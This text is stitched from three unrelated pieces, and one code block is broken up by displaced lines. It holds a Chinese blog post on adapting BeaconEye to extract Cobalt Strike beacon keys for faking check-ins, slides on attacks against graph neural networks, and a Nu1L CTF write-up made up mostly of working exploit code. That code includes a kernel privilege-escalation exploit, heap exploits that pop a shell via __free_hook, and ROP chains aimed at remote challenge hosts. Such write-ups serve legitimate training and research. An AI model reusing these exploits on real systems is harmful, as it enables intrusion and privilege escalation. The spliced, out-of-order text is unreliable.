BeaconEye的原理 Cs的beacon在初始化时会使用 malloc 函数创建一个空间,将beacon的明文信息写入到其中。 这就是一个很明显的检测CobaltStrike的信息, malloc 函数创建的是堆内存,所以只需要遍历每个进程 的堆内存地址就可以了。 当然这一切都归功于很多前辈们对Cobalt Strike的逆向工程。 于是就有了beaconeye的项目https://github.com/CCob/BeaconEye 对于堆内存的查找还有很多注意事项,可以看参考中的文章。 BeaconEye的使用 BeaconEye是c#项目,我对它也不怎么熟悉,下面内容是我自己的方法。 项目-> 属性 设置好.net 框架,我设置的是4.6.1,因为还要装一个libyara的扩展,它好像只支持这个版本。 项目->管理NuGet程序包 搜索安装 Microsoft.O365.Security.Native.libyara.NET 编译的架构要选上,不能选择any cpu 之后就能生成了。 BeaconEye改造 默认的BeaconEye是不显示公钥的,凭我对c#一点点微弱的理解,要改这里 https://github.com/CCob/BeaconEye/blob/master/Config/ConfigItem.cs 可以猜到它typeof后面对应的类型应该就是这个字段对应的类型,而没看到 PublicKey 需要的类型,只 能看着别的类型自己加上了。 添加一个 再加上序号7 public class ConfigDataItem : ConfigItem   {        public override Type ExpectedType => Type.Bytes;        public string Value { get; private set; }        public ConfigDataItem(string name) : base(name)       {       }        public override string ToString()       {            return $"{Value}";       }        public override void Parse(BinaryReader br, ProcessReader process)       {            Value = ReadNullString(process, process.Is64Bit ? br.ReadInt64() : br.ReadInt32());       }        string ReadNullString(ProcessReader process, long address)       {            MemoryStream ms = new MemoryStream();            for(int i = 0; i < 256; i++)           {                var strChar = process.ReadMemory((ulong)address++, 1);                ms.Write(strChar, 0, 1);           }            byte[] buffer = ms.ToArray();            StringBuilder strBuider = new StringBuilder();            for (int index = 0; index < buffer.Length; index++)           {                strBuider.Append(((int)buffer[index]).ToString("X2"));           }            return strBuider.ToString();       }   } 就能够输出公钥了。 后面还有一些针对metaheader的改造,但是太杂乱了,就直接在附件上源码了。 结合上线器 之后我想将beaconeye集成到cs上线器中,在网页上一键化生成,按理说我应该把beaconeye改装成输 出beacon.json文件的形式,但是对c#真不熟悉,只能按照它作者的想法来,不敢有大的改动。所以很 多地方都是直接打印到控制台。 然后通过解析控制台的内容,将它解析成CS上线器认识的数组(CS上线器只需要一个公钥,一个 metaheader信息即可上线) def memory_dump():    exec_filename = os.path.join(beaconeye_dir, "BeaconEye.exe")    dd = {        "PublicKey": "",        "C2Server": "",        "HttpGet_Metadata": {            "ConstHeaders": [],            "ConstParams": [],            "Metadata": [],            "Output": [],            "SessionId": []       }   }    p = subprocess.Popen(exec_filename, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE,                         shell=False)    stdout, stderr = p.communicate()    r = str(stdout)    if not ("PublicKey" in r and "HTTP_Get_Program" in r):        raise Exception("未发现Cobalt Strike Beacon")    is_found_get = False    current = ""    for item in stdout.splitlines():        if item.startswith(b"\tPublicKey"):            PublicKey = item.split(b"PublicKey:")[1].decode()            dd["PublicKey"] = bytes.fromhex(PublicKey)            continue        if item.startswith(b"\tHTTP_Get_Program"):            is_found_get = True            continue        if item.startswith(b"\tC2Server:"): 最后的在线版网址如下:https://i.hacking8.com/cobaltspam 参考 如何正确的 "手撕" Cobalt Strike https://mp.weixin.qq.com/s/_gSPWVb1b-xuvhU6ynmw0Q            dd["C2Server"] = item.split(b"\tC2Server:")[1].decode()            continue        if item.startswith(b"\tBeaconType:"):            dd["BeaconType"] = [item.split(b"\tBeaconType:")[1].decode()]            continue        if item.startswith(b"\tPort:"):            dd["Port"] = item.split(b"\tPort:")[1].decode()            continue        if not is_found_get:            continue        if not item.startswith(b"\t\t"):            is_found_get = False            continue        x = item.decode().strip().split(" ", 1)        if x[0] == 'ConstHeaders':            current = "ConstHeaders"            dd["HttpGet_Metadata"][current].append(x[1])        elif x[0] == "ConstParams":            current = "ConstParams"            dd["HttpGet_Metadata"][current].append(x[1])        elif x[0] == "Metadata:":            current = "Metadata"        else:            x = item.decode().strip().split(" ", 1)            if len(x) == 2:                dd["HttpGet_Metadata"][current].append(                    "{} \"{}\"".format(x[0], x[1])               )            else:                dd["HttpGet_Metadata"][current].append(x[0])    return dd
pdf
Yang Zhang and his research group (CISPA Helmholtz Center for Information Security) Yun Shen (Spot by NetApp) Azzedine Benameur (Spot by NetApp) All Your GNN Models And Data Belong To Me *All attacks discussed in this talk are simulated in the lab environment. * The Age of Machine Learning Image source (from left to right): https://github.com/deepmind/alphafold https://emergetech.org/openai-gpt3-good-at-almost-everything/ https://github.com/features/copilot/signup https://imagen.research.google/ Image/Text/Video/Audio Graph Graphs Are Everywhere Social Networks Knowledge Graphs Image source: (from left to right): https://towardsdatascience.com/ab-testing-challenges-in-social-networks-e67611c92916, https://biologydictionary.net/molecule/, https://yashuseth.blog/2019/10/08/introduction-question-answering-knowledge-graphs-kgqa/ Molecules Graphs are combinatorial structures, have arbitrary sizes, and contain multi-modal information User-Item Graphs Graph Applications Are Everywhere Social Networks Knowledge Graphs Image source: (from left to right): https://towardsdatascience.com/ab-testing-challenges-in-social-networks-e67611c92916, https://biologydictionary.net/molecule/, https://yashuseth.blog/2019/10/08/introduction-question-answering-knowledge-graphs-kgqa/ Molecules User-Item Graphs Link Prediction Toxicity Prediction Knowledge Mining Recommendation Alice Bob Do you (Alice) know Bob? We found an item you may be interested! Graph-based applications pervasively exist in our everyday life Demographic Inference Age group of Bob Graph Neural Netwok (GNN) • Traditional neural networks are designed for grids (e.g., images) or sequences (e.g., text) • CNNs for images • RNNs for sequences Graph Neural Netwok (GNN) Graph Convolution Network (GCN) Graph Sample and Aggregate (GraphSAGE) Graph Isomorphism Network (GIN) Graph Attention Network (GAT) Link Prediction Do you (Alice) know Bob? Demographic Inference Age group of Bob Euclidean Space Graph Neural Netwok (GNN) Toxicity Prediction Graph Neural Netwok (GNN) Graph The Age of Machine Learning The Age of Adversarial Machine Learning Overview Security Privacy Graph GNN Model extraction attack Property inference attack Link re-identification attack *All attacks discussed in this talk are simulated in the lab environment. * Subgraph inference attack Link Re-Identification Attack Security Privacy Graph GNN Link re-identification attack Identify if two nodes are connected in the training data Link Re-Identification Attack Scenario Attacker’s capability: 1. posteriors of nodes (from training data) obtained from the target model GNN model: Node classification GNN Security Boundary Link Re-Identification Attack (Scenario 1) Posterior Scores GNN GPU intensive 0 35 70 panda dog cat 0 35 70 panda dog cat Posterior Scores ? Private Information Link Re-Identification Attack Scenario Attacker’s capability: 1. posteriors of nodes (from training data) obtained from the target model GNN model: Node classification Posterior Similarity >= Threshold link exists < Threshold link does not exist { Link Re-Identification Attack (Scenario 1) GNN Security Boundary 0 35 70 panda dog cat 0 35 70 panda dog cat Posterior Scores (0.20, 0.70, 0.1) (0.70, 0.20, 0.1) ? Posterior Scores Link Re-Identification Attack (Scenario 2) Scenario Attacker’s capability: 1. posteriors of nodes (from training data) obtained from the target model 2. have a shadow dataset GNN model: Node classification GNN Security Boundary Posterior Scores Link Re-Identification Attack (Scenario 2) Scenario Attacker’s capability: 1. posteriors of nodes (from training data) obtained from the target model 2. have a shadow dataset GNN model: Node classification Shadow Dataset [10, 5, 8] [14, 6, 9] [5, 3, 12] [12, 7, 8] [8, 5, 13] 0 25 50 Cook Actor Barber Coach 0 35 70 Cook Actor Barber Coach Posterior Scores GNN Security Boundary Posterior Scores GNN MLP Training with pos/neg edges concat Link Re-Identification Attack (Scenario 2) Shadow [10, 5, 8] [14, 6, 9] [5, 3, 12] [12, 7, 8] [8, 5, 13] GNN 0 25 50 Cook Barber 0 35 70 Cook Barber MLP Posterior Scores dimension 8 Dimension mismatch 0 35 70 panda dog cat 0 35 70 panda dog cat Posterior Scores (0.20, 0.70, 0.1) (0.70, 0.20, 0.1) dimension 6 ? Link Re-Identification Attack (Scenario 2) GNN 0 25 50 Cook Actor Barber Coach 0 35 70 Cook Actor Barber Coach MLP Distance (8) Entropy (4) Training with pos/neg edges Link Re-Identification Attack (Scenario 2) GNN 0 25 50 Cook Actor Barber Coach 0 35 70 Cook Actor Barber Coach MLP Distance (8) Entropy (4) Training with pos/neg edges Unified Input MLP 0 35 70 panda dog cat 0 35 70 panda dog cat GNN Testing Distance (8) Entropy (4) Shadow Target Link Re-Identification Attack (Scenario 2) AUC Property/Subgraph Inference Attack Security Privacy Graph GNN Property inference attack *All attacks discussed in this talk are simulated in the lab environment. * Infer basic graph properties of a graph via its graph embedding Subgraph inference attack Infer if a certain subgraph exists in a graph via its graph embedding Graph Neural Netwok (GNN) Toxicity Prediction Property Inference Attack Scenario Attacker’s capability: 1. Embeddings of graphs (from training data) obtained from the target model 2. Can query the GNN model GNN model: Graph classification GNN Security Boundary Graph Embeddings https://github.com/chemplexity/molecules GNN <0.12, 0.19, 0.3, …, 0.06> <0.01, 0.08, 0.12, …, 0.72> <0.11, 0.09, 0.1, …, 0.07> … Private Graph Property Inference Attack Scenario Attacker’s capability: 1. Embeddings of graphs (from training data) obtained from the target model 2. Can query the GNN model GNN model: Graph classification GNN Security Boundary Graph Embeddings This is a graph with ~4 nodes infer <0.12, 0.19, 0.3, …, 0.06> <0.01, 0.08, 0.12, …, 0.72> <0.11, 0.09, 0.1, …, 0.07> … Property Inference Attack Scenario Attacker’s capability: 1. Embeddings of graphs (from training data) obtained from the target model 2. Can query the GNN model GNN model: Graph classification GNN Security Boundary Graph Embeddings Attack Model 0 40 [1-2][3-4][5-6] [7+] 0 60 [1-2] [5-6] Estimated 0 100 [1-2] [3-4] [5-6] [7+] Ground Truth 0 100 [1-2] [3-4] [5-6] [7+] Cross-entropy loss GNN Remote access <0.12, 0.19, 0.3, …, 0.06> Graph Embeddings <0.01, 0.08, 0.12, …, 0.72> Local environment Auxiliary graphs Property Inference Attack Scenario Attacker’s capability: 1. Embeddings of graphs (from training data) obtained from the target model 2. Can query the GNN model GNN model: Graph classification GNN Security Boundary Graph Embeddings 0 60 [1-2][3-4][5-6] [7+] Estimated Graph Embeddings <0.11, 0.09, 0.1, …, 0.07> Attack Model This is a graph with ~4 nodes Property Inference Attack Scenario Attacker’s capability: 1. Embeddings of graphs (from training data) obtained from the target model 2. Can query the GNN model GNN model: Graph classification GNN Security Boundary Graph embeddings Subgraph Inference Attack Scenario GNN model: Graph classification GNN Security Boundary Graph Embeddings <0.12, 0.19, 0.3, …, 0.06> infer This graph contains at least one Attacker’s capability: 1. Embeddings of graphs (from training data) obtained from the target model 2. Can query the GNN model Subgraph Inference Attack Scenario GNN model: Graph classification GNN Security Boundary Graph embeddings Attack model <0.12, 0.19, 0.3, …, 0.06> <0.01, 0.08, 0.12, …, 0.72> negative pair <0.01, 0.08, 0.12, …, 0.72> <0.01, 0.08, 0.12, …, 0.72> positive pair Attacker’s capability: 1. Embeddings of graphs (from training data) obtained from the target model 2. Can query the GNN model GNN <0.01, 0.08, 0.12, …, 0.72> Subgraph embeddings Graph Embeddings Auxiliary Graphs GNN <0.12, 0.19, 0.3, …, 0.06> <0.01, 0.08, 0.12, …, 0.72> Remote access Subgraph Inference Attack Scenario GNN model: Graph classification GNN Security Boundary Graph embeddings <0.01, 0.08, 0.12, …, 0.72> Attack Model <0.11, 0.09, 0.1, …, 0.07> GNN <0.01, 0.08, 0.12, …, 0.72> 0 80 Positive Negative Attacker’s capability: 1. Embeddings of graphs (from training data) obtained from the target model 2. Can query the GNN model Graph Embeddings <0.11, 0.09, 0.1, …, 0.07> Subgraph Inference Attack Scenario GNN model: Graph classification GNN Security Boundary Graph embeddings Attacker’s capability: 1. Embeddings of graphs (from training data) obtained from the target model 2. Can query the GNN model Graph embeddings Subgraph embeddings AUC Analysis GNN Training Graph Prediction Embedding t-SNE Projection Link re-identification attack Property inference attack Training graph’s node posterior scores Training graph’s graph embeddings Analysis GNN Training Graph Prediction Embedding t-SNE Projection Link re-identification attack Property inference attack Training graph’s node posterior scores Training graph’s graph embeddings Takeaways (1) • Secure your infrastructure • Audit your GNN-based machine learning pipeline What Is Next? GNN Training Graph Prediction Embedding t-SNE Projection Overview Security Privacy Graph GNN Model extraction attack *All attacks discussed in this talk are simulated in the lab environment. * Faithfully replicate the GNN functionality Model Stealing Attack GNN Training Graph Prediction Embedding t-SNE Projection Query Graph Downstream Applications Customer Security Boundary Model Stealing Attack GNN Training Graph Prediction Embedding t-SNE Projection Query Graph Security Boundary Attacker Replicate the functionality Model Stealing Attack Scenario Attacker’s capability: 1. Can query the GNN model via publicly accessible API GNN model: Node classification GNN Security Boundary Model Stealing Attack Node-level Query … GO Target Model Build Learn Discrete Graph Structure GQ XQ 1 𝒪( ̂HQ) + ̂HQ = ℱ(XQ, AQ) MS Learn Surrogate Model 2 Security Boundary Model Stealing Attack Node-level Query … GO Target Model Build Learn Discrete Graph Structure GQ XQ 1 𝒪( ̂HQ) + ̂HQ = ℱ(XQ, AQ) MS Learn Surrogate Model 2 Security Boundary Model Stealing Attack Node-level Query … GO Target Model Build GQ Security Boundary Model Stealing Attack Node-level Query … GO Target Model Build Learn Discrete Graph Structure GQ XQ Security Boundary IDGL framework [1] / kNN [1] Chen, Yu, Lingfei Wu, and Mohammed Zaki. "Iterative deep graph learning for graph neural networks: Better and robust node embeddings." Advances in neural information processing systems 33 (2020) Model Stealing Attack Node-level Query … GO Target Model Build Learn Discrete Graph Structure GQ XQ 1 𝒪( ̂HQ) + ̂HQ = ℱ(XQ, AQ) MS Learn Surrogate Model 2 Security Boundary IDGL framework [1] / kNN [1] Chen, Yu, Lingfei Wu, and Mohammed Zaki. "Iterative deep graph learning for graph neural networks: Better and robust node embeddings." Advances in neural information processing systems 33 (2020) Model Stealing Attack 𝒪( ̂HQ) + ̂HQ = ℱ(XQ, AQ) MS Learn Surrogate Model 2 [1] Chen, Yu, Lingfei Wu, and Mohammed Zaki. "Iterative deep graph learning for graph neural networks: Better and robust node embeddings." Advances in neural information processing systems 33 (2020) GQ MT Euclidean Space GQ MS Prediction Embedding t-SNE Projection Model Stealing Attack 𝒪( ̂HQ) + ̂HQ = ℱ(XQ, AQ) MS Learn Surrogate Model 2 [1] Chen, Yu, Lingfei Wu, and Mohammed Zaki. "Iterative deep graph learning for graph neural networks: Better and robust node embeddings." Advances in neural information processing systems 33 (2020) GQ MT Euclidean Space MS GQ Prediction Embedding t-SNE Projection 2 1 2 1 decision boundary Model Stealing Attack GQ MT Euclidean Space MS GQ Prediction Embedding t-SNE Projection conduct the attack without knowing the target model’s architecture Model Stealing Attack GQ MT Euclidean Space MS GQ Prediction Embedding t-SNE Projection conduct the attack without knowing the target model’s architecture t-SNE prediction posterior embedding Model Stealing Attack GQ MT Euclidean Space MS GQ Prediction Embedding t-SNE Projection 2 dimensional t-SNE projection can be the new attack surface Model Stealing Attack GQ MT Euclidean Space MS GQ Prediction Embedding t-SNE Projection 2 dimensional t-SNE projection as the query response can be the new attack surface conduct the attack without knowing the target model’s architecture t-SNE prediction posterior embedding Takeaways (2) • Secure your infrastructure • Audit your GNN-based machine learning pipeline • Monitor your model logs for anomalies • Evaluate the security and privacy posture of your Graph Neural Network (GNN) models Code • Link re-identification attack https://github.com/xinleihe/link_stealing_attack • Property/Subgraph inference attack https://github.com/Zhangzhk0819/GNN-Embedding-Leaks • Model stealing attack https://github.com/xinleihe/GNNStealing Thank You Yang Zhang and his research group CISPA Helmholtz Center for Information Security zhang@cispa.de Azzedine Benameur and Yun Shen Spot by NetApp {Azzedine.Benameur, Yun.Shen}@netapp.com
pdf
ACTF WriteUp By Nu1L ACTF WriteUp By Nu1L Pwn kkk TreePwn MyKvm Crypto RSA LEAK impossible RSA Web poorui beWhatYouWannaBe ToLeSion gogogo Misc signin Mahjoong safer-telegram-bot-1 BlockChain AAADAO bet2loss Pwn kkk 通过ROP打通parser执⾏shellcode, 然后把提权的exp编码后发送过去执⾏ kkk.ko漏洞出现在加密时以block为单位进⾏加密, 没考虑不对其的情况, 造成堆溢出. 提权的话将packet对象伪造成init_cred, 然后设置packet→func_ptr = commit_creds然后触发就可以提权, 不⽤关 ⼼切回⽤户态的问题 但是怎么泄露内核地址呢? 越界读只能泄露kkk.ko的地址, 也没法ROP, 想了很久, 最终解决⽅法是: 爆破. 因为内核基 地址的熵很⼩, 只有24bit, ⽽且实测发现⼤多数情况都是0x1F800000, 0x21100000这样⽐较⼩的数字, 因此爆破花 不了多⻓时间的. #! /usr/bin/python2 # coding=utf-8 import sys from pwn import * import base64 context.log_level = 'debug' context(arch='amd64', os='linux') def Log(name):    log.success(name+' = '+hex(eval(name))) def Connect():    if(len(sys.argv)==1): #local        cmd = ["./launch.sh", "1"]        sh = process(cmd)    else: #remtoe        sh = remote("123.60.41.85", 9999)        sh.recvuntil('`')        cmd = sh.recvuntil('`', drop=True)        print(cmd)        stamp = os.popen(cmd).read()        print(stamp)        sh.send(stamp)    return sh sh = Connect() def Send(cont):    sh.send(base64.b64encode(cont)) def GDB():    gdb.attach(sh, '''   #break *(0x401C0B)   #break *(0x401CF3)   break *(0x401D41)   conti   ''') #get pure asm of exp os.system("gcc -c exp.c -O2 -o exp.o") os.system("llvm-objcopy-9 --dump-section .text.startup=out ./exp.o") file = open("out","rb") code = file.read() file.close() rdi = 0x4006a6  # pop rdi; ret; rsi = 0x402a3c  # pop rsi; ret; rdx = 0x434162  # pop rdx; ret; rax = 0x4005af  # pop rax; ret; syscall = 0x4859c5 # syscall; ret; ret = 0x400416 # ret; read_through_base64 = 0x401ABB def Call(sys, a, b, c):    rop = flat(rdi, a)    rop+= flat(rsi, b)    rop+= flat(rdx, c)    rop+= flat(rax, sys)    rop+= flat(syscall)    return rop buf = 0x6D8000 while True:    try:        def Try():            for i in range(15):                sh.recvuntil('ENTER YOUR PACKET > ')                sh.send('\n')            # header            exp = p32(0x0) + p32(0x1)            exp+= p64(0)            exp+= p32(0x876) + p32(0)            exp = exp.ljust(0x30, 'A')            Send(exp)            #Segs            exp = p32(7) + p32(0x0)            Send(exp)            #Seg            for i in range(6):                  exp = p32(0xdeadbeef) + p32(0x100)                Send(exp)                Send(chr(i)*0x100)            #Seg            exp = p32(0xdeadbeef)+p32(0xFFFFFF00)            Send(exp)            #ROP to read asm of exp by base64            exp = 'A'*0x218            exp+= p64(ret)*0x10            exp+= Call(0xa, buf, 0x8000, 7) # mprotect(buf, 0x8000, 7)            exp+= flat(rdi, buf, rsi, len(code)+1, read_through_base64)            exp+= flat(buf)                Send(exp)            sh.send('\n')            #Send asm of exp            Send(code)            sh.send('\n')            res = sh.recvuntil('ACTF', timeout = 2)            if 'ACTF' in res:                print(res)                return True            return False        while True:            if(Try()):                break        sh.interactive()    except EOFError:        sh = Connect() static __inline long syscall(long n, long a1, long a2, long a3) {  unsigned long ret;  long a4 = 0;  register long r10 __asm__("r10") = a4;  __asm__ __volatile__ (    "syscall"   :"=a"(ret)   : "a"(n), "D"(a1), "S"(a2),      "d"(a3), "r"(r10)   : "rcx", "r11", "memory");  return ret; } static __inline int read(int fd, char *buf, int len){    return syscall(0, fd, buf, len); } static __inline int write(int fd, char *buf, int len){    return syscall(1, fd, buf, len); } static __inline int open(char *buf, int mode){    return syscall(2, buf, mode, 0); } static __inline int ioctl(int fd, int cmd, void *arg){    return syscall(0x10, fd, cmd, arg); } struct Param{    long long opcode;    long long key_len;    char *key_buf;    long long cont_len;    char *cont_buf; }; static __inline void Send(int fd, struct Param *p){    ioctl(fd, 0x6B64, p); } static __inline void Show(int fd, struct Param *p){    ioctl(fd, 0x6B69, p); } static __inline void Run(int fd, struct Param *p){    ioctl(fd, 0x6B6B, p); } static __inline void Delete(int fd, struct Param *p){    ioctl(fd, 0x6B6D, p); } static __inline void Update(int fd, struct Param *p){    ioctl(fd, 0x6B67, p); } static __inline memset(char *dst, char c, int len){    while(len--)        *dst++ = c; } int main(void) {    char path[0x10] = "/dev/kkk";    char buf[0x200];    char sp[0x20]="================";    memset(buf, 0, 0x200);    unsigned long long *ptr = buf;    struct Param p;    int fd = open(path, 0);    // obj0->arr[0] = malloc(0x88)    p.opcode=0x3;    p.key_len = 0x71;   // 0xc0-0x30-0x1F    p.key_buf = buf;    p.cont_len = 0x1F;    p.cont_buf = buf+0x80;    buf[0x0] = 0x41;    Send(fd, &p);   // packet0    Send(fd, &p);   // packet1    Send(fd, &p);   // packet2    Send(fd, &p);   // packet3    Send(fd, &p);   // packet4    Send(fd, &p);   // packet5    // trigger overflow: packet1->key_len = 0xd8    p.opcode = 0;    Run(fd, &p);    // leak kaslr    p.opcode = 1;    p.key_buf = buf;    p.cont_buf = buf+0x100;    Show(fd, &p);    /*   long long kaslr = ptr[23]-0xffffffffc0000130; //kkk_aes256_cb()   write(1, &sp, 8);   write(1, &kaslr, 8);*/    unsigned long long heap = ptr[21];    //write(1, &sp, 8);    //write(1, &heap, 8);    // control packet2->key_len    p.opcode = 1;    ptr[18] = 0x140; //packet2->key_len    ptr[20] = 0;     //packet2->cont_len    p.key_buf = buf;    p.cont_buf = buf+0x100;    Update(fd, &p);    //0xffffffff82850560 D init_cred    //0xffffffff8109bcf0 T commit_creds    // prepare packet3    ptr[18] = 0x4;   //<=packet3, forge init_cred here    ptr[18+1] = 0;    ptr[18+2] = 0;    ptr[18+3] = 0;    ptr[18+4] = 0;    ptr[18+5] = 0x19800000+0xffffffff8109bcf0;    //packet3->func_ptr = commit_creds(), guess    ptr[18+6] = 0x0;    ptr[18+7] = 0x0;    ptr[18+8] = 0x0;    ptr[18+15] = heap;    ptr[18+16] = 0;//kaslr+0xffffffff8284ef80; TreePwn 漏洞: 矩形判断算法有问题, 导致⼀个ele可以插⼊多个⼦树 相关数据结构, 其中 总体如下, 实现了⼀个会⾃⼰分裂平衡的树 漏洞出现在插⼊Element的过程中, 插⼊时, 会把⼀个⼦树中最左下⻆的点与最右上⻆的点组成⼀个矩形, 调⽤ get_min_MBR_added() 计算出, 把 这个点插⼊⼦树的点集中后, ⼦树的矩形的周⻓最⼩变化是多少, 这个值就是 min_MBR_added 然后遍历root中的所有⼦树, 如果发现ele插⼊该⼦树后周⻓变化等于 min_MBR_added 则调 ⽤ tree_insert_node() 进⾏插⼊ 上述算法过程⼗分的诡异, 最⼤的问题在于插⼊⼀个⼦树后没有及时停⽌, 导致double link. 只要构造两个⼦树, 再插 ⼊⼀个点使得两个⼦树周⻓变化相同就可以触发 在树重构时是会按照x与y的⼤⼩排序, 为了简单, 可以把所有的y都设置为0    ptr[18+17] = 0;//kaslr+0xffffffff8284f020;    ptr[18+18] = 0;//kaslr+0xffffffff82850e20;    ptr[18+19] = 0;//kaslr+0xffffffff82850610;    // control packet3    p.opcode = 2;    p.key_buf = buf;    p.cont_buf = buf;    Update(fd, &p);    // trigger packet3->func_ptr()    write(1, &sp, 0x10);    p.opcode = 3;    Run(fd, &p);    char buf2[0x100] = "/flag\\x00";    int fd2 = open(buf2, 0);    read(fd2, buf2, 0x100);    write(1, buf2, 0x100);    if(buf2[0]=='A')        while(1);    return 0; } /* 0xffffffff82fd7366 : mov rdi, qword ptr [rdi + 0x10] ; mov rax, qword ptr [rbx] ; call rax */ POC如下 之后通过UAF泄露堆地址, 有Edit功能, 因此控制tcache是很容易的, 但是本题只有0x26的对象可控, 因此要泄露libc地址就只能伪造UBchunk了 可以通过UAF劫持tcache, 使其分配到Element0内部, 实现chunk重叠, 将Element当做是UBchunk头部, 从⽽在释放 新分配的对象后读Element0就可以泄露UB地址 在插⼊时会⾸先读⼊Element对象, 如果插⼊时发现点有重复, 则什么也不做, 这是⼀个很好的堆喷原语, 利⽤这个来 伪造Ub chunk后⾯的数据 # [0, 1] [3, 4, 5, 6] Insert(0, 0, '0'*0x20) Insert(1, 0, '1'*0x20) Insert(3, 0, '3'*0x20) Insert(4, 0, '4'*0x20) Insert(5, 0, '5'*0x20) Insert(6, 0, '6'*0x20) # [0, 1] [3, 4] Remove(5, 0) Remove(6, 0) # double link: [0, 1, 2] [2, 3, 4] Insert(2, 0, '2'*0x20) # UAF: [0, 1] [2, 3, 4], Element 2 is freed Remove(2, 0) # leak heap addr Show(2, 0) sh.recvuntil('its name: ') sh.recv(8) heap_addr = u64(sh.recv(8)) - 0x10 Log("heap_addr") #! /usr/bin/python2 # coding=utf-8 import sys from pwn import * context.log_level = 'debug' context(arch='amd64', os='linux') def Log(name):    log.success(name+' = '+hex(eval(name))) libc = ELF('./libc.so.6') if(len(sys.argv)==1): #local    cmd = ["./pwn"]    sh = process(cmd) else: #remtoe    sh = remote("121.36.241.104", 9999)    sh.recvuntil('`')    cmd = sh.recvuntil('`', drop=True)    print(cmd)    stamp = os.popen(cmd).read()    print(stamp)    sh.send(stamp) def Num(n):    sh.sendline(str(n)) def Cmd(n):    sh.recvuntil("Your choice > ")    Num(n) def Insert(x, y, cont):    Cmd(0)    sh.recvuntil(": ")    Num(x)    sh.recvuntil(": ")    Num(y)    sh.recvuntil(": ")    sh.send(cont) def Remove(x, y):    Cmd(1)    sh.recvuntil(": ")    Num(x)    sh.recvuntil(": ")    Num(y) def Edit(x, y, cont):    Cmd(2)    sh.recvuntil(": ")    Num(x)    sh.recvuntil(": ")    Num(y)    sh.recvuntil(": ")    sh.send(cont) def Show(x, y):    Cmd(3)    sh.recvuntil(": ")    Num(x)    sh.recvuntil(": ")    Num(y) def Query(ld_x, ld_y, ru_x, ru_y):    Cmd(4)    sh.recvuntil(": ")    Num(ld_x)    sh.recvuntil(": ")    Num(ld_y)    sh.recvuntil(": ")    Num(ru_x)    sh.recvuntil(": ")    Num(ru_y) def GDB():    gdb.attach(sh, '''   print *(long long *)(0x0000555555554000+0x205310)   print *(long long *)($1+0x10)   telescope $2 8   break *(0x0000555555554000+0x344E)   ''') # [0, 1] [2, 3, 4, 5] exp = p64(0) exp+= p64(0x4b1)    # chunk's size exp = exp.ljust(0x20, '\\x00') Insert(0, 0, exp)   # UB chunk head Insert(1, 0, '1'*0x20) Insert(2, 0, '2'*0x20) Insert(3, 0, '3'*0x20) Insert(4, 0, '4'*0x20) Insert(5, 0, '5'*0x20) # heap spray for i in range(0x11):    Insert(0, 0, p8(i)*0x20) # [0, 1] [3, 4], tcache[0x30]->ele_2->ele_5 Remove(5, 0) Remove(2, 0) # double link: [0, 1, 2] [2, 3, 4], tcache[0x30]->ele_5 Insert(2, 0, '2'*0x20) # UAF: [0, 1] [2, 3, 4], tcache[0x30]->ele_2->ele_5 Remove(2, 0) # leak heap addr Show(2, 0) sh.recvuntil('its name: ') sh.recv(8) heap_addr = u64(sh.recv(8)) - 0x10 Log("heap_addr") # control tcache: Tcache[0x30]->ele_2->UB_chunk exp = p64(heap_addr+0x2d0+0x10) exp = exp.ljust(0x20, '\\x00') Edit(2, 0, exp) # allocate to UB_chunk: [0, 1] [2, 3, 4, 6] Insert(2, 0, '2'*0x20) exp = flat(0, 0, 0, 0x31) Insert(6, 0, exp) # free UB_chunk and get libc addr: [0, 1] [2, 3, 4] Remove(6, 0) Show(0, 0) sh.recvuntil('its name: ') sh.recv(0x10) libc.address = u64(sh.recv(8))-0x3ebca0 Log("libc.address") # trigger double link again: [0, 1, 2] [2, 3, 4] Remove(2, 0) Insert(2, 0, '2'*0x20) # UAF: [0, 1] [2, 3, 4] Tcache[0x30]->ele_2 Remove(2, 0) # Tcache[0x30]->ele_2->__free_hook exp = flat(libc.symbols['__free_hook'], 0, 0, 0) Edit(2, 0, exp) # allocate to __free_hook exp = flat(libc.symbols['system'], 0, 0, 0) Insert(0, 0, exp) Insert(0, 0, exp) # getshell Edit(0, 0, "/bin/sh".ljust(0x20, '\\x00')) Remove(0, 0) #GDB() sh.interactive() MyKvm 和这个很像 https://github.com/kscieslinski/CTF/tree/master/pwn/conf2020/kvm 参考这个还原下伪代码 https://github.com/kscieslinski/CTF/blob/master/pwn/conf2020/kvm/kvm_source.c from pwn import * import fuckpy3 import struct, sys, os context.log_level = 'debug' context.arch = 'amd64' # p = process('./lib/ld-2.23.so ./mykvm'.split(' '),env= {'LD_LIBRARY_PATH':'./lib'})#,"LD_PRELOAD":"./lib/ld-2.23.so ./lib/libc.so.6 ./lib/libreadline.so.6.3 ./lib/libtinfo.so.5.9"}) p = remote('20.247.110.192',10888) # p = remote('0',8888) def launch_gdb():    input() def nasm(code):  open("/tmp/shellcode.asm", 'w').write(code)  ret = os.system("nasm -f bin -o /tmp/shellcode.bin /tmp/shellcode.asm")  code = b''  if ret == 0:    code = open("/tmp/shellcode.bin", 'rb').read()  os.unlink("/tmp/shellcode.asm")  os.unlink("/tmp/shellcode.bin")  return code def format_rop(payload):    res = ''    for i in range(0,len(payload),4):        res += f'dd {hex(u32(payload[i:i+4]))}\n'    return res payload = p64(0x4011B3) + p64(0x602088) payload += p64(0x4009C6) payload += p64(0x4011AA) payload += p64(0x0) + p64(1) + p64(0x602060) + p64(0x100) + p64(0x602100) + p64(0) payload += p64(0x401190) payload += p64(0) * 2 + p64(0x602100) + p64(0) * 4 + p64(0x401145) shellcode = ''' BITS 16 ORG 0h GDT_FLAGS_32_BIT_SIZE     equ 01b GDT_FLAGS_16_BIT_SIZE     equ 00b GDT_FLAGS_BYTE_GRANULARITY equ 00b GDT_FLAGS_PAGE_GRANULARITY equ 10b GDT_ACCESS_ACCESSED         equ 00000001b GDT_ACCESS_NOT_ACCESSED     equ 00000000b GDT_ACCESS_RW               equ 00000010b GDT_ACCESS_GROW_DOWN       equ 00000100b GDT_ACCESS_EXECUTABLE       equ 00001000b GDT_ACCESS_DEFAULT_BIT     equ 00010000b GDT_ACCESS_RING_LEVEL_0     equ 00000000b GDT_ACCESS_RING_LEVEL_1     equ 00100000b GDT_ACCESS_RING_LEVEL_2     equ 01000000b GDT_ACCESS_RING_LEVEL_3   equ 01100000b GDT_ACCESS_PRESENT     equ 10000000b GDT_CODE_ACCESS_BYTE       equ GDT_ACCESS_DEFAULT_BIT | GDT_ACCESS_PRESENT | GDT_ACCESS_RING_LEVEL_0 | 